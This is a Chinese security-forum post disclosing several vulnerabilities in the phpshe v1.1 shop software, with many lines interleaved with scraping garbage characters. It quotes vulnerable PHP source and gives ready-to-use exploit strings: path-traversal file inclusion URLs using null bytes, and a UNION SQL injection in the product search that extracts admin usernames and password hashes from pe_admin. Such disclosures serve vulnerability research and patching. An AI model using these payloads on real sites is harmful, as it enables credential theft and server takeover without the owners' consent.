找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1944|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
+ L- _& P& B# Y/* Phpshe v1.1 Vulnerability
* R! h5 e; {' ]0 k1 e$ ~+ K/* ========================; u, g1 O6 q& {7 O4 v5 A4 Z" V
/* By: : Kn1f3$ |- L+ w/ u' ]/ N% d- B
/* E-Mail : 681796@qq.com
5 e- u* Z9 E/ u. s* j7 P! q/*******************************************************/
' v6 \, T- D9 m% j7 I- u* \0×00 整体大概参数传输/ |( N# F$ l0 _

0 H7 L6 j2 ~0 q" s) [/ c- U4 W+ a+ A+ C3 [' \, ^5 ~2 w
+ j1 m! R, x, A; n
//common.php0 i! [% y* x8 u! \( d! O, F4 ?
if (get_magic_quotes_gpc()) {  C8 m% h$ ?# @# J. ^2 h
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
9 f) L; n5 P5 O" C+ X2 [: y!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
/ n9 V- l8 a8 C5 R$ H( o}
4 ?4 f! w7 l% D1 h8 t9 l2 ]else {- R0 B& c7 {' D$ ]' G8 R
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');  _4 m$ r& @2 W: P# ?0 V! {
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
/ D! I5 C7 r* G% i4 x}, W/ V+ p3 U! \% F
session_start();% C9 A* [) }' ~7 j' d
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
9 R$ Q# u: G- V' m; X$ S!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');/ k9 S8 z. B# F. T( c8 a

* l, Q( d0 P% O; U0×01 包含漏洞
+ J7 o/ ]% u/ X* |4 ?7 N - G5 T+ @/ c5 N" k+ l

; w$ n* G$ [( Z" m) Q1 v//首页文件
& \0 z- V1 I# A, M3 E- @) K<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);6 P( r, g$ R- f! ?) C
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞- ^6 e1 p: T; `( m. D) x
pe_result();$ n* X+ M# V+ M' g$ @2 Q0 A4 u$ c
?>
; l0 C% ^& J$ L) p* r  J//common 文件 第15行开始6 R8 \0 t( ]2 j7 f, [: C" h: ^6 `
url路由配置
& M' L4 L" x& u& D) G$module = $mod = $act = 'index';% r9 X* P, f* H8 f
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$ J% [1 T  W8 N' G8 X1 _+ ?# m$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);( l) ~/ ~' a+ `' `$ M2 ~+ t
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);* |1 k* r8 W& h. O1 X$ }
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%009 `; }( l( Q( Q8 l) A, S


9 r/ d$ n1 q4 h  g) e8 p / o, d! ?. P. ]2 g* v& J
0×02 搜索注入4 u& M, M! _( p0 T+ Q% W8 h

: W5 o+ X" u% M- }3 \<code id="code2">

//product.php文件. v5 ^+ C7 s0 s% f. U- g
case 'list':
$ d( _5 g7 c/ L2 i$category_id = intval($id);4 z2 T  E7 C3 a' g2 N/ X7 c
$info = $db->pe_select('category', array('category_id'=>$category_id));. n% [# _: {: R6 |
//搜索/ [# h1 J5 {6 K& n* e" D+ J7 [
$sqlwhere = " and `product_state` = 1";
5 j2 b3 k. _$ \, Xpe_lead('hook/category.hook.php');
% x$ |1 a% W! Y8 k. |if ($category_id) {
4 h9 {* o# T& t* C# D* ?where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
( w- ^1 O4 Q: T}3 w6 p2 ]: L9 d* b4 |2 x; w  X
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤! d: [$ H6 Y5 ?
if ($_g_orderby) {- ?5 Q+ x2 y' b5 C7 A
$orderby = explode('_', $_g_orderby);" H8 w$ I* N5 a  i' y0 Z, K
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";& F/ Q, ?# Y6 }" ^
}% r/ R6 S' W/ G# I7 Z5 Y5 h; h* x
else {
6 G. f6 m* y% ~) {9 U$sqlwhere .= " order by `product_id` desc";. a  D/ {/ K' o/ P1 A5 {
}
4 {; C6 }- W/ L( [$ K1 o$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));9 q# Q, Y* u3 x( K) n
//热卖排行
0 R' z) L7 I1 |) }9 a$product_hotlist = product_hotlist();
, N# z% y9 x0 h9 _( k//当前路径
; p; R/ \/ X: W# M( l7 V$nowpath = category_path($category_id);+ Z! o6 k8 q" }. P
$seo = pe_seo($info['category_name']);
! _. @  V0 Y7 ginclude(pe_tpl('product_list.html'));
" o$ t4 t. a4 t: i5 `9 n//跟进selectall函数库2 Q0 H; i. `, U5 I( n9 p
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())) N' u5 w5 Y$ I- _; q, o' N
{
$ c' B% d9 {2 r( g$ u6 @& {//处理条件语句
1 j8 U' {& B- j2 c' r# _- a% x$sqlwhere = $this->_dowhere($where);4 q3 ~3 S& }0 W# q3 U' b+ v0 a
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
0 ~( a7 e' W/ K7 q( A" c}) c4 U3 X: F4 T; ?; T; w* k
//exp. ~' c7 k2 v, v( V; g7 z
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1& n/ Y. r7 S- a4 I0 W- U

</code>0 b- G, K$ j: E) ?9 j
( D* S- f# H5 v2 I) [8 ~- q- E' e
0×03 包含漏洞2  {3 ]3 l: R+ d- {0 Z
( D9 c9 N8 {+ F4 I& H/ c1 \8 t+ k
<code id="code3">

//order.php

case 'pay':


0 [6 H  |- |2 n" @. e+ B$order_id = pe_dbhold($_g_id);

# }, ]  G; J+ \. i, W
$cache_payway = cache::get('payway');

' |1 t8 ]- l7 K: {) }8 K& O
foreach($cache_payway as $k => $v) {


, p) _4 m- f4 p$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


  N* B. o  f" }+ p( p( p' sif ($k == 'bank') {


& s4 e* v- |* x' a$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


2 v4 ]* ]9 p5 k/ g}

' f8 i& m& c7 I! e. u
}


3 Z) R/ |1 g" C' L% q2 I6 `$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

8 ?; ]2 x& E$ G# B
!$order['order_id'] && pe_error('订单号错误...');

9 a3 p* s. M; H1 E5 j5 V% e
if (isset($_p_pesubmit)) {


% a# j$ M# o3 aif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


& M& \; d' ~: V# }1 t2 ^$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


2 b4 Y3 D6 n6 Rforeach ($info_list as $v) {

6 `) D; o! T! f8 E! W* j# T% g
$order['order_name'] .= "{$v['product_name']};";
7 U& |/ [0 @9 h


# y! V7 |; k7 V; \; W* K/ J( \}

$ b" [0 X: e/ \: _; {1 r, h
echo '正在为您连接支付网站,请稍后...';


0 J: T/ j2 R5 ?0 ainclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


2 S; K$ i9 T, i( b}//当一切准备好的时候就可以进行"鸡肋包含了"


7 O% }6 j% T3 }5 @: m3 T1 |9 t0 d1 Jelse {

$ S% v9 c  W8 B) D
pe_error('支付错误...');


1 p; W% q- h& z% }5 `" o}


0 U/ m- w3 G& r4 b}


% y% M2 a1 ]2 s$seo = pe_seo('选择支付方式');

) T  x4 K  x9 s
include(pe_tpl('order_pay.html'));

# m( \3 Y& m$ c
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
( C' R  x3 z- b$ `/ l! ^4 B( e/ \http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表